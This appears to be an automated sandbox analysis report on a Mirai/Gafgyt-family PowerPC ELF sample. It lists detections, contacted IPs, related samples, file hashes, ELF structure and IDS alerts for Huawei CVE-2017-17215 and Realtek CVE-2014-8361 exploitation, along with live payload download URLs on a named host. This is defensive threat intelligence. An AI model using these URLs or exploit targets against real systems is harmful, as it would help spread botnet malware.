Source: Yara match	File source: 5705.1.00007f518c001000.00007f518c025000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Pn0jlaHvxE.elf PID: 5705, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	11 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Pn0jlaHvxE.elf	53%	ReversingLabs	Linux.Backdoor.Gafgyt
Pn0jlaHvxE.elf	56%	Virustotal		Browse
Pn0jlaHvxE.elf	100%	Avira	EXP/ELF.Mirai.Z.A

Dropped Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
vector.mineheaven.org	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/envelope/	0%	URL Reputation	safe
http://127.0.0.1:52869/picdesc.xml	0%	Avira URL Cloud	safe
http://127.0.0.1:52869/wanipcn.xml	0%	Avira URL Cloud	safe
http://15.235.203.214/bolonetwork.x86	100%	Avira URL Cloud	malware
http://15.235.203.214/bolonetwork.mips	100%	Avira URL Cloud	malware
http://purenetworks.com/HNAP1/	0%	Avira URL Cloud	safe
http://purenetworks.com/HNAP1/	2%	Virustotal		Browse
http://15.235.203.214/bolonetwork.x86	0%	Virustotal		Browse
http://127.0.0.1:52869/wanipcn.xml	1%	Virustotal		Browse
http://127.0.0.1:52869/picdesc.xml	1%	Virustotal		Browse
http://15.235.203.214/bolonetwork.mips	7%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
vector.mineheaven.org	15.235.203.214	true	true	1%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:52869/picdesc.xml	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://127.0.0.1:52869/wanipcn.xml	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	Pn0jlaHvxE.elf	false	URL Reputation: safe URL Reputation: safe	unknown
http://15.235.203.214/bolonetwork.mips	Pn0jlaHvxE.elf	false	7%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://purenetworks.com/HNAP1/	Pn0jlaHvxE.elf	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://15.235.203.214/bolonetwork.x86	Pn0jlaHvxE.elf	false	0%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/soap/envelope/	Pn0jlaHvxE.elf	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
62.110.195.123	unknown	Italy	3269	ASN-IBSNAZIT	false
157.220.202.113	unknown	United States	4704	SANNETRakutenMobileIncJP	false
197.11.16.193	unknown	Tunisia	5438	ATI-TN	false
60.249.133.9	unknown	Taiwan; Republic of China (ROC)	3462	HINETDataCommunicationBusinessGroupTW	false
41.240.108.83	unknown	Sudan	36998	SDN-MOBITELSD	false
142.5.110.37	unknown	Canada	46606	UNIFIEDLAYER-AS-1US	false
175.57.167.127	unknown	China	134810	CMNET-JILIN-AS-APChinaMobileGroupJiLincommunicationsco	false
82.50.6.70	unknown	Italy	3269	ASN-IBSNAZIT	false
32.124.109.115	unknown	United States	7018	ATT-INTERNET4US	false
88.31.243.41	unknown	Spain	3352	TELEFONICA_DE_ESPANAES	false
194.147.200.183	unknown	Liechtenstein	202405	LLBLI	false
222.120.170.64	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
204.214.217.245	unknown	United States	1239	SPRINTLINKUS	true
150.224.209.78	unknown	United States	1479	DNIC-ASBLK-01478-01479US	false
95.36.120.148	unknown	Netherlands	15670	BBNED-AS1NL	false
197.115.128.14	unknown	Algeria	36947	ALGTEL-ASDZ	false
157.62.63.188	unknown	United States	22192	SSHENETUS	false
103.115.176.230	unknown	Indonesia	137852	BIZCOMNT-AS-APBIZCOMNTPTYLTDAU	false
142.212.156.95	unknown	Canada	13576	SDNW-13576US	false
157.237.150.45	unknown	Norway	2119	TELENOR-NEXTELTelenorNorgeASNO	false
95.32.218.143	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
221.83.195.3	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
157.9.149.72	unknown	Japan	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
141.99.20.144	unknown	Germany	680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	false
157.29.39.190	unknown	Italy	8968	BT-ITALIAIT	false
34.189.32.48	unknown	United States	2686	ATGS-MMD-ASUS	true
197.25.251.89	unknown	Tunisia	37671	GLOBALNET-ASTN	false
196.239.70.8	unknown	Tunisia	37492	ORANGE-TN	false
1.148.167.254	unknown	Australia	1221	ASN-TELSTRATelstraCorporationLtdAU	false
46.98.240.227	unknown	Ukraine	15377	FREGATUA	true
157.188.212.230	unknown	United States	22252	AS22252US	false
201.73.70.110	unknown	Brazil	4230	CLAROSABR	false
157.245.157.83	unknown	United States	14061	DIGITALOCEAN-ASNUS	false
23.97.92.59	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	true
95.164.225.100	unknown	Gibraltar	397044	MY-TEC-SAUS	false
53.70.46.99	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	true
88.49.86.120	unknown	Italy	3269	ASN-IBSNAZIT	false
112.149.221.4	unknown	Korea Republic of	17858	POWERVIS-AS-KRLGPOWERCOMMKR	false
41.152.131.91	unknown	Egypt	36992	ETISALAT-MISREG	false
157.221.209.38	unknown	United States	4704	SANNETRakutenMobileIncJP	false
95.12.118.112	unknown	Turkey	9121	TTNETTR	false
110.214.253.34	unknown	China	9394	CTTNETChinaTieTongTelecommunicationsCorporationCN	false
95.95.178.121	unknown	Portugal	2860	NOS_COMUNICACOESPT	false
157.169.237.122	unknown	France	2418	FR-ASNBLOCK2FR-MAN-SOPHIA-ANTIPOLISEU	false
166.78.169.15	unknown	United States	33070	RMH-14US	true
157.145.75.170	unknown	United States	719	ELISA-ASHelsinkiFinlandEU	true
95.90.199.152	unknown	Germany	31334	KABELDEUTSCHLAND-ASDE	false
25.16.163.132	unknown	United Kingdom	7922	COMCAST-7922US	false
63.47.138.66	unknown	United States	22394	CELLCOUS	false
88.56.141.128	unknown	Italy	3269	ASN-IBSNAZIT	false
72.232.56.222	unknown	United States	33070	RMH-14US	false
83.29.88.76	unknown	Poland	5617	TPNETPL	false
112.72.53.27	unknown	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	false
86.237.87.25	unknown	France	3215	FranceTelecom-OrangeFR	false
65.232.111.100	unknown	United States	701	UUNETUS	false
200.104.58.23	unknown	Chile	22047	VTRBANDAANCHASACL	false
88.41.5.155	unknown	Italy	3269	ASN-IBSNAZIT	false
67.231.237.9	unknown	United States	16948	STRATUSWAVEUS	false
198.57.213.179	unknown	United States	46606	UNIFIEDLAYER-AS-1US	false
157.168.112.253	unknown	Switzerland	22192	SSHENETUS	false
157.245.170.69	unknown	United States	14061	DIGITALOCEAN-ASNUS	false
95.221.230.229	unknown	Russian Federation	12714	TI-ASMoscowRussiaRU	false
177.248.224.219	unknown	Mexico	16960	CablevisionRedSAdeCVMX	false
39.113.253.226	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	true
157.82.96.118	unknown	Japan	2501	UTNETTheUniversityofTokyoJP	false
23.233.182.31	unknown	Canada	5769	VIDEOTRONCA	false
197.92.242.249	unknown	South Africa	10474	OPTINETZA	false
112.207.20.165	unknown	Philippines	9299	IPG-AS-APPhilippineLongDistanceTelephoneCompanyPH	false
124.25.111.159	unknown	Japan	2510	INFOWEBFUJITSULIMITEDJP	false
194.219.225.155	unknown	Greece	1241	FORTHNET-GRForthnetEU	false
157.16.29.198	unknown	Japan	24297	FCNUniversityPublicCorporationOsakaJP	true
39.43.82.12	unknown	Pakistan	45595	PKTELECOM-AS-PKPakistanTelecomCompanyLimitedPK	false
88.123.200.95	unknown	France	12322	PROXADFR	false
89.45.61.48	unknown	Iran (ISLAMIC Republic Of)	197207	MCCI-ASIR	false
112.217.4.64	unknown	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	false
39.169.82.31	unknown	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
163.139.166.72	unknown	Japan	2519	VECTANTARTERIANetworksCorporationJP	true
162.107.32.146	unknown	United States	395660	EDMONTON-CA	false
54.202.204.139	unknown	United States	16509	AMAZON-02US	false
102.106.30.240	unknown	Tunisia	37693	TUNISIANATN	false
161.170.230.150	unknown	United States	46312	WAL-MART3US	false
40.31.31.26	unknown	United States	4249	LILLY-ASUS	true
157.168.229.54	unknown	Switzerland	22192	SSHENETUS	false
133.197.113.197	unknown	Japan	2516	KDDIKDDICORPORATIONJP	false
221.121.42.83	unknown	Viet Nam	7602	SPT-AS-VNSaigonPostelCorporationVN	false
95.108.137.76	unknown	Russian Federation	13238	YANDEXRU	false
107.98.97.224	unknown	United States	7018	ATT-INTERNET4US	false
123.38.94.82	unknown	Korea Republic of	6619	SAMSUNGSDS-AS-KRSamsungSDSIncKR	true
90.210.89.250	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	true
154.138.67.86	unknown	Egypt	37069	MOBINILEG	false
53.17.110.37	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	false
216.193.235.105	unknown	United States	33494	IHNETUS	false
45.72.32.96	unknown	Canada	55081	24SHELLSUS	false
132.247.195.249	unknown	Mexico	278	UniversidadNacionalAutonomadeMexicoMX	false
157.252.98.245	unknown	United States	3592	TRINCOLL-ASUS	false
31.28.234.43	unknown	Russian Federation	35816	SEVSTARSevastopolRussiaRU	false
37.172.131.233	unknown	France	51207	FREEMFR	false
5.247.124.234	unknown	Saudi Arabia	34400	ASN-ETTIHADETISALATSA	false
95.127.212.196	unknown	Spain	3352	TELEFONICA_DE_ESPANAES	false
157.143.92.83	unknown	United States	16922	OUHSC-EDUUS	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
157.220.202.113	x86.elf	Get hash	malicious	Mirai	Browse
157.220.202.113	Tsunami.x86	Get hash	malicious	Mirai	Browse
157.9.149.72	arm.elf	Get hash	malicious	Mirai, Moobot	Browse
157.9.149.72	WSgWU3mQvT	Get hash	malicious	Unknown	Browse
197.11.16.193	iz0U1RF9s6.elf	Get hash	malicious	Mirai	Browse
	SqsWN0UHd6	Get hash	malicious	Mirai	Browse
	zgV2Uq4fmu	Get hash	malicious	Mirai	Browse
41.240.108.83	BVnG1daMQK.elf	Get hash	malicious	Mirai, Moobot	Browse
41.240.108.83	arm7	Get hash	malicious	Mirai	Browse
197.25.251.89	b3kQMXltP6.elf	Get hash	malicious	Mirai, Moobot	Browse
157.245.157.83	x86.elf	Get hash	malicious	Mirai	Browse
	gIfmTCIKxl.elf	Get hash	malicious	Mirai	Browse
	raCyB7pYpd	Get hash	malicious	Mirai	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
vector.mineheaven.org	1gx339YsKN.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	15.235.203.214
	K8vjjv1Tcx.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	15.235.203.214
	desDGzeznq.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	15.235.203.214
	faBNhIKHq4.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	15.235.203.214
	U6YcZ2TLtT.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	15.235.203.214
	EVnD2SuX13.elf	Get hash	malicious	Mirai, Okiru	Browse	15.235.203.214
	ts2d2a5oFa.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	15.235.203.214
	EKi4eGLprr.elf	Get hash	malicious	Mirai, Okiru	Browse	15.235.203.214
	http://15.235.203.214/bolonetwork.x86	Get hash	malicious	Unknown	Browse	15.235.203.214

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ATI-TN	EKi4eGLprr.elf	Get hash	malicious	Mirai, Okiru	Browse	197.6.201.9
	92.249.48.47-skid.mpsl-2024-07-20T09_04_17.elf	Get hash	malicious	Mirai, Moobot	Browse	196.186.174.112
	U8E1VlGTmr.elf	Get hash	malicious	Mirai	Browse	102.154.15.169
	pIalFdcSk3.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	197.4.89.176
	6Qb1vfdujy.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	197.10.162.31
	D8OieODwpn.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	197.10.162.38
	ahN4x3ahps.elf	Get hash	malicious	Mirai	Browse	197.7.62.206
	bolonetwork.mips.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	197.4.236.46
	bolonetwork.x86_64.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	197.7.253.152
	bolonetwork.x86.elf	Get hash	malicious	Mirai, Okiru	Browse	197.4.224.51
SANNETRakutenMobileIncJP	desDGzeznq.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	157.192.179.187
	EVnD2SuX13.elf	Get hash	malicious	Mirai, Okiru	Browse	157.195.213.156
	ts2d2a5oFa.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	157.198.224.198
	EKi4eGLprr.elf	Get hash	malicious	Mirai, Okiru	Browse	157.217.5.135
	92.249.48.47-skid.ppc-2024-07-20T09_04_20.elf	Get hash	malicious	Mirai, Moobot	Browse	157.236.11.183
	92.249.48.47-skid.sh4-2024-07-20T09_04_17.elf	Get hash	malicious	Mirai, Moobot	Browse	157.236.11.174
	92.249.48.47-skid.mips-2024-07-20T09_04_16.elf	Get hash	malicious	Mirai, Moobot	Browse	157.215.252.47
	185.208.158.215-mips-2024-07-14T08_54_05.elf	Get hash	malicious	Unknown	Browse	157.227.28.94
	pIalFdcSk3.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	157.221.9.222
	6Qb1vfdujy.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	157.215.252.243
ASN-IBSNAZIT	K8vjjv1Tcx.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	88.40.27.42
	desDGzeznq.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	95.240.215.61
	faBNhIKHq4.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	95.236.203.136
	U6YcZ2TLtT.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	88.48.144.186
	EVnD2SuX13.elf	Get hash	malicious	Mirai, Okiru	Browse	88.39.140.186
	ts2d2a5oFa.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	87.30.155.238
	EKi4eGLprr.elf	Get hash	malicious	Mirai, Okiru	Browse	88.37.136.155
	http://15.235.203.214/bolonetwork.x86	Get hash	malicious	Unknown	Browse	88.36.194.187
	92.249.48.47-skid.ppc-2024-07-20T09_04_20.elf	Get hash	malicious	Mirai, Moobot	Browse	88.42.73.124
	92.249.48.47-skid.x86-2024-07-20T09_04_17.elf	Get hash	malicious	Mirai, Moobot	Browse	188.11.144.72
HINETDataCommunicationBusinessGroupTW	faBNhIKHq4.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	36.224.35.213
	EKi4eGLprr.elf	Get hash	malicious	Mirai, Okiru	Browse	211.23.119.226
	92.249.48.47-skid.x86_64-2024-07-20T09_04_18.elf	Get hash	malicious	Mirai, Moobot	Browse	118.166.126.82
	92.249.48.47-skid.mips-2024-07-20T09_04_16.elf	Get hash	malicious	Mirai, Moobot	Browse	220.129.176.242
	TWzzHuqCOF.elf	Get hash	malicious	Mirai	Browse	59.122.154.15
	8tGqHMzByM.elf	Get hash	malicious	Mirai	Browse	218.174.111.144
	botx.arm6.elf	Get hash	malicious	Mirai	Browse	1.173.183.210
	5CxmQXL0LD.exe	Get hash	malicious	SystemBC	Browse	60.248.114.116
	http://dream-orbit.com/dreamorbit-selected-as-a-2012-red-herring-top-100-asia/%20dream-orbit.com	Get hash	malicious	Unknown	Browse	220.128.218.220
	1yBFfYi5Do.elf	Get hash	malicious	Unknown	Browse	1.34.12.164

Process:	/tmp/Pn0jlaHvxE.elf
File Type:	data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.422000516883152
Encrypted:	false
SSDEEP:	3:TglEhdggqpWOJn:TglELggQ
MD5:	081F625AFA77EC550ACF18441B2603A2
SHA1:	93047853C625132FF533D2BA0A525F8661CEAC08
SHA-256:	C38336138DE85F9610D50B9F309CE23A02402C7886324B673B1B6ADC8E6ADC32
SHA-512:	4C5EE9CE7E833A87376FEB4E51F1105F18622080184B1A023D016FFE504E5B1636CBA3272A6B2AEF96A5FB3FA6F23550385AFD9FC0BC96F5C83D802A4AFD9B90
Malicious:	false
Reputation:	low
Preview:	/tmp/Pn0jlaHvxE.elf./tmp/owfrxsjybl

/tmp/qemu-open.i9bZCR (deleted)

Download File

Process:	/tmp/Pn0jlaHvxE.elf
File Type:	data
Category:	dropped
Size (bytes):	20
Entropy (8bit):	4.1219280948873624
Encrypted:	false
SSDEEP:	3:TglEhdgC:TglELgC
MD5:	4001EB934565007080F4D7FBD8661C94
SHA1:	858AC4BE06E2A58987AFBFBD94B9CC437EB2483C
SHA-256:	0931DE95BFA18DC5D7B7122B6DE712470D21EFC72A1FEBAD5FA3E1C27DB3C243
SHA-512:	9514B050AA904B503472ABF037D65F6020086F3088BDF162D9211210E767EF1DF3A487D63A0BF555F7D7DFCB9493A8AF0139A815D48B4FE036FAD410FEE3A417
Malicious:	false
Reputation:	low
Preview:	/tmp/Pn0jlaHvxE.elf.

/tmp/qemu-open.w8AR8U (deleted)

Download File

Process:	/tmp/Pn0jlaHvxE.elf
File Type:	data
Category:	dropped
Size (bytes):	20
Entropy (8bit):	4.1219280948873624
Encrypted:	false
SSDEEP:	3:TglEhdgC:TglELgC
MD5:	4001EB934565007080F4D7FBD8661C94
SHA1:	858AC4BE06E2A58987AFBFBD94B9CC437EB2483C
SHA-256:	0931DE95BFA18DC5D7B7122B6DE712470D21EFC72A1FEBAD5FA3E1C27DB3C243
SHA-512:	9514B050AA904B503472ABF037D65F6020086F3088BDF162D9211210E767EF1DF3A487D63A0BF555F7D7DFCB9493A8AF0139A815D48B4FE036FAD410FEE3A417
Malicious:	false
Reputation:	low
Preview:	/tmp/Pn0jlaHvxE.elf.

Static File Info

General

File type:	ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.860716996720854
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	Pn0jlaHvxE.elf
File size:	163'032 bytes
MD5:	730b26a8902d957742869d76f82cb613
SHA1:	847012f6da8e0b22e1e927e79962d2a01f096894
SHA256:	39ce571136ba4058640a2af5963c3061f500a03e5c9b589995e2914d1f163bd4
SHA512:	bba4ebefffb81f19e413f23bac62d55afa10a6c6c77a14d5af6119a41332355849a74ac637958404d4687949d777ebcc2319c7fdf17e04356928a8237401dbca
SSDEEP:	1536:R0ngXXD8H7SrfoC8OKbrrqpVmmSXxk9vrFGFKoZAAqak/NT+vAJUYH2HLKOx0qad:R0khf3HWBXxozFFKKaUNrJ9aKii7t
TLSH:	3BF34B02B31C0947E1632EB43A3F27D093EF9AD125F4F644395F9A8A9171D361586ECE
File Content Preview:	.ELF...........................4..z......4. ...(......................1H..1H..............1L..1L..1L..I`............dt.Q.............................!..\|......$H...H......$8!. \|...N.. .!..\|.......?.........{...../...@..\?.....1..+../...A..$8...})....1.N..

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	PowerPC
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x100001f0
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	162552
Section Header Size:	40
Number of Section Headers:	12
Header String Table Index:	11

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x10000094	0x94	0x24	0x0	0x6	AX	4
.text	PROGBITS	0x100000b8	0xb8	0x1f564	0x0	0x6	AX	4
.fini	PROGBITS	0x1001f61c	0x1f61c	0x20	0x0	0x6	AX	4
.rodata	PROGBITS	0x1001f640	0x1f640	0x3b08	0x0	0x2	A	8
.ctors	PROGBITS	0x1003314c	0x2314c	0xc	0x0	0x3	WA	4
.dtors	PROGBITS	0x10033158	0x23158	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x10033180	0x23180	0x48a0	0x0	0x3	WA	32
.sdata	PROGBITS	0x10037a20	0x27a20	0x8c	0x0	0x3	WA	4
.sbss	NOBITS	0x10037aac	0x27aac	0x13c	0x0	0x3	WA	4
.bss	NOBITS	0x10037be8	0x27aac	0xc658	0x0	0x3	WA	8
.shstrtab	STRTAB	0x0	0x27aac	0x4b	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x10000000	0x10000000	0x23148	0x23148	6.3274	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x2314c	0x1003314c	0x1003314c	0x4960	0x110f4	0.4708	0x6	RW	0x10000	.ctors .dtors .data .sdata .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
07/20/24-23:10:51.988569	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38082	52869	192.168.2.15	63.75.117.57
07/20/24-23:10:59.053037	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50588	37215	192.168.2.15	165.63.199.69
07/20/24-23:10:49.360961	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34094	37215	192.168.2.15	41.32.211.33
07/20/24-23:10:46.865461	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50586	37215	192.168.2.15	157.193.183.76
07/20/24-23:10:41.232616	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44286	37215	192.168.2.15	197.80.174.62
07/20/24-23:10:46.778936	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51300	37215	192.168.2.15	157.80.252.89
07/20/24-23:10:52.547373	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47476	37215	192.168.2.15	157.178.151.25
07/20/24-23:11:03.396635	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57850	37215	192.168.2.15	41.112.10.96
07/20/24-23:10:39.723592	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57064	52869	192.168.2.15	194.217.196.209
07/20/24-23:10:39.434366	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37000	37215	192.168.2.15	197.115.200.222
07/20/24-23:10:42.630640	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59508	52869	192.168.2.15	8.28.61.99
07/20/24-23:10:40.652868	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46756	37215	192.168.2.15	41.233.79.117
07/20/24-23:10:46.810541	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40006	37215	192.168.2.15	41.237.105.96
07/20/24-23:10:42.249182	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36518	37215	192.168.2.15	197.108.156.198
07/20/24-23:10:56.024382	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46170	37215	192.168.2.15	197.168.5.78
07/20/24-23:10:46.809208	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56984	37215	192.168.2.15	157.65.221.230
07/20/24-23:10:42.250388	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42248	37215	192.168.2.15	157.91.41.148
07/20/24-23:10:44.166369	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34916	52869	192.168.2.15	97.164.50.55
07/20/24-23:10:47.625872	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37054	52869	192.168.2.15	170.167.39.209
07/20/24-23:11:03.396635	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48474	37215	192.168.2.15	157.113.186.8
07/20/24-23:10:41.232616	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38164	37215	192.168.2.15	197.210.203.242
07/20/24-23:10:56.002189	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59240	37215	192.168.2.15	197.141.186.237
07/20/24-23:10:51.961781	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47884	52869	192.168.2.15	40.70.214.228
07/20/24-23:10:51.969869	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45066	52869	192.168.2.15	39.91.70.157
07/20/24-23:10:41.228607	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44498	37215	192.168.2.15	212.103.36.245
07/20/24-23:10:47.568033	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50430	52869	192.168.2.15	90.138.160.122
07/20/24-23:10:49.360961	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33890	37215	192.168.2.15	41.87.1.134
07/20/24-23:10:48.350471	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40574	52869	192.168.2.15	148.178.43.17
07/20/24-23:11:06.687949	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43024	37215	192.168.2.15	41.35.230.166
07/20/24-23:11:03.365385	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57788	37215	192.168.2.15	89.6.108.50
07/20/24-23:10:40.017556	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37910	52869	192.168.2.15	90.4.66.163
07/20/24-23:10:42.619674	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33538	52869	192.168.2.15	220.55.101.199
07/20/24-23:10:59.055793	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58916	37215	192.168.2.15	197.137.187.253
07/20/24-23:10:47.775313	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45186	52869	192.168.2.15	101.180.103.77
07/20/24-23:10:39.495983	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36400	37215	192.168.2.15	197.37.162.85
07/20/24-23:10:56.073192	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58210	37215	192.168.2.15	157.97.133.247
07/20/24-23:10:49.430121	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46680	37215	192.168.2.15	157.251.200.44
